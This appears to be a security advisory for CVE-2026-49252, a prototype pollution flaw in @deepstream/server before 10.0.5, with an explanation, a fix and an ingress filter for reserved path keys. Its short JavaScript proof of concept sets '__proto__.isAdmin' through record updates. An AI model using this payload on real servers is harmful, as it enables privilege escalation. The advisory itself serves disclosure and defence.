critical · 9.9CVE-2026-49252Jun 26, 2026

CVE-2026-49252: @deepstream/server Prototype Pollution via Record Path

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Any authenticated deepstream user with write access to a record can pollute the server's JavaScript prototype by sending a crafted path in a record update, potentially escalating their own…

Package@deepstream/server
Ecosystemnpm
Affected< 10.0.5
Fixed in10.0.5

The problem

deepstream.io versions before 10.0.5 pass attacker-controlled record paths directly into a server-side path-set operation without sanitizing reserved keys like __proto__, constructor, or prototype.

Because records are schema-less and the server merges patch paths into plain JavaScript objects, a low-privileged authenticated client can silently mutate Object.prototype. Any property injected this way is then inherited by every plain object on the server, enabling privilege escalation or logic bypass.

Proof of concept

A working proof-of-concept for CVE-2026-49252 in @deepstream/server, with the exact payload below.

javascript
// Authenticated deepstream client (ws-json or SDK)
// Sends a record PATCH with __proto__ as the path segment.
// This sets Object.prototype.isAdmin = true on the server.

const { DeepstreamClient } = require('@deepstream/client')

const client = new DeepstreamClient('ws://target:6020')
await client.login({ username: 'lowpriv', password: 'password' })

// record.set(name, path, value) -- path goes unsanitized into server-side
// path-based merge in versions <= 10.0.4
const record = client.record.getRecord('any-writable-record')
await record.whenReady()

// Pollute Object.prototype on the server
record.set('__proto__.isAdmin', true)
// or via setData:
client.record.setData('any-writable-record', '__proto__.isAdmin', true)

deepstream's record handler accepts a dot-notation path argument in patch messages and resolves it with a recursive set utility. Before 10.0.5, there was no check that path segments were not __proto__, constructor, or prototype. Writing to __proto__.x resolves to Object.prototype.x, polluting the prototype chain for all plain objects on that Node.js process.

The CHANGELOG for 10.0.5 confirms a missing guard was added (commit 54b8e29). The advisory workaround independently confirms the exact attack surface: filter all messages whose path contains __proto__, constructor, or prototype before they enter the message pipeline.

The CVSS scope is "Changed" because the impact escapes the individual record and affects the entire server runtime (CWE-1321).

The fix

Upgrade @deepstream/server to **10.0.5** (commit 54b8e2958a98df444b5b5d9a66e22872afd84e44). If an immediate upgrade is not possible, add an ingress filter at the transport layer that rejects any message whose path field contains __proto__, constructor, or prototype before it reaches the server's message pipeline, as recommended in the official advisory.

Reporter not attributed.

References: [1][2][3][4]

Related research